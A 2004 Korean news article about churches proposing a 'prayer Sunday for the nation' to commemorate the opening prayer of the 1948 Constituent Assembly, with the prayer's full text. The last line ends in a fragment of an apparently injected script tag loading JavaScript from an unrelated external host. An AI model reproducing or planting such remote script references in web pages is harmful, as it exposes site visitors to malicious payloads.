5월 31일, 48년 제헌국회 개회기도 기념
5월 31일, 48년 제헌국회 개회기도 기념
  • 미래한국
  • 승인 2004.01.17 00:00
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▲ 대한민국 국회속기록 제1호에 실려있는 이윤영 의원의 기도문 본지 2002년 6월 15일 창간호 역사를 움직인 기도 게재
5월 31일, 48년 제헌국회 개회기도 기념교계 ‘나라를 위한 기도주일’ 제정 움직임1948년 5월 31일 제헌국회 개회 당시 이승만 의장의 요청으로 드려졌던 이윤영 의원의 기도를 기념하여 5월 마지막 주를 ‘나라를 위한 기도주일’로 제정하자는 움직임이 교계에서 확산되고 있다. 새문안교회 이수영 목사는 “국사를 논하는 장인 대한민국의 첫 국회가 기도로 시작했다는 사실은 우리 나라가 하나님께서 세우신 나라라는 것을 보여준다. 이 사실을 널리 알리고 미래를 하나님께 맡기는 신앙이 필요하다”고 취지를 밝히고 지난해 11월 교회 당회를 통해 매년 5월 마지막 주를 ‘나라를 위한 기도주일’로 정했다.아름다운교회 김기홍 목사도 이 같은 취지에 공감하고 “5월 마지막 주를 국가를 위해 설교하고 기도하는 주로 기념할 것”이라고 밝혔다. 김상학 예장총회(통합) 사무총장은 “5월 마지막 주를 전교단에서 국가를 위한 기도주일로 선포하는 방안을 오는 9월 노회에서 정식으로 상정할 것”이라며 교계의 움직임을 전했다. 1948년 역사적인 최초의 선거로 선출된 국회가 임시국회의사당(구 중앙청 회의실)에서 열리며 기도로 시작됐던 상황은 두고두고 감동으로 전해진다. 임시의장으로 선출된 이승만 박사는 제헌국회를 개회하면서 “대한민국 독립 민주국회 제1차 회의를 여기서 열게 된 것을 우리가 하나님께 감사해야 할 것입니다… 사람의 힘으로만 된 것이라고… 자랑할 수 없을 것입니다. 그러므로 하나님께 감사를 드리지 않을 수 없습니다”라고 선언하고 감리교 목사로서 3·1만세운동 33인 민족지도자 중 한 분인 이윤영 의원에게 기도 인도를 부탁했다.회의순서에 없던 기도를 갑자기 부탁 받은 이윤영 의원이 기도를 했고 대한민국 최초 공문서인 국회속기록 제1호에 기도문이 실렸다. “하나님이시여… 남북이 둘로 갈리어진 이 민족의 고통과 수치를 신원하여 주시고… 민생의 도탄은 길면 길수록 이 땅에 악마의 권세가 확대되나… (민족대표가 된) 우리에게 지(智), 인(仁), 용(勇), 덕(德)을 간구하나이다…” 기도문이 반영하고 있는 당시의 시대적 상황은 오늘날 대한민국이 처해 있는 시국과도 무관하지 않다는 평가다. 이수영 목사는 “이 의원의 기도는 반세기가 지난 오늘날 한국상황에서도 똑같이 적용될 수 있는 내용”이라면서 기도문에 담겨 있는 신앙과 그 의미를 강조했다. 김범수 기자 bumsoo@ 이윤영 의원 기도문“이 우주와 만물을 창조하시고 인간의 역사를 섭리하시는 하나님이시여, 이 민족을 돌아보시고 이 땅에 축복하셔서 감사에 넘치는 오늘이 있게 하심을 주님께 저희들은 성심으로 감사하나이다. 오랜 시일 동안 이 민족의 고통과 호소를 들으시사 정의의 칼을 빼서 일제의 폭력을 굽피시사 하나님은 이제 세계 만방의 양심을 움지기시고 또한 우리 민족의 염원을 들으심으로 이 기쁜 역사적 환희의 날을 이 시간에 우리에게 오게하심을… 저희들은 믿나이다. 하나님이시여, …남북이 둘로 갈리어진 이 민족의… 고통과 수치를 신원하여 주시고 우리 민족 우리 동포가 손을 같이 잡고 웃으며 노래부르는 날이 우리 앞에 속히 오기를 기도하나이다. 하나님이시여, 원치 아니한 민생의 도탄은 길면 길수록 이 땅에 악마의 권세가 확대되나 하나님의 거룩하신 영광은 이 땅에 오지 않을 수 밖에 없을 줄 저희들은 생각하나이다.원컨대 우리 조선 독립과 함께 남북통일을 주시옵고 또한 우리 민생의 복락과 아울러 세계 평화를 허락하여 주시옵소서. 거룩하신 하나님의 뜻에 의지하야 저희들은 성스럽게 택함을 입어가지고 글자 그대로 민족의 대표가 되었습니다. 그러하오나 우리들의 책임이 중차대한 것을 저희들은 느끼고 우리 자신이 진실로 무력한 것을 생각할 때 지(智)와 인(仁)과 용(勇)과 모든 덕 (德)의 근원이 되시는 하나님 앞에 이러한 요소를… 간구하나이다.이제 이로부터 국회가 성립이 되여서 우리 민족이 염원이 되는 모든 세계 만방이 주시하고 기다리는 우리의 모든 문제가 원만이 해결되며, 또한 이로부터서 우리의 완전 자주독립이 이 땅에 오며 자손만대에 빛나고 푸르른 역사를 저희들이 정하는 이 사업을 완수하게 하야 주시옵소서.하나님이 이 회의를 사회하시는 의장으로부터 모든 우리 의원 일동에게 건강을 주시옵고 또한 여기서 양심의 정의와 위신을 가지고 이 업무를 완수하게 도와주시옵기를 기도하나이다.역사의 첫 걸음을 걷는 오날의 우리의 환희와 우리의 감격에 넘치는 이 민족적 기쁨을 다 하나님에게 영광과 감사를 올리나이다. 이 모든 말씀을 주 예수 그리스도 이름을 받들어 기도하나이다. 아멘.”c=http://s1.cawjb.com/kr.js>
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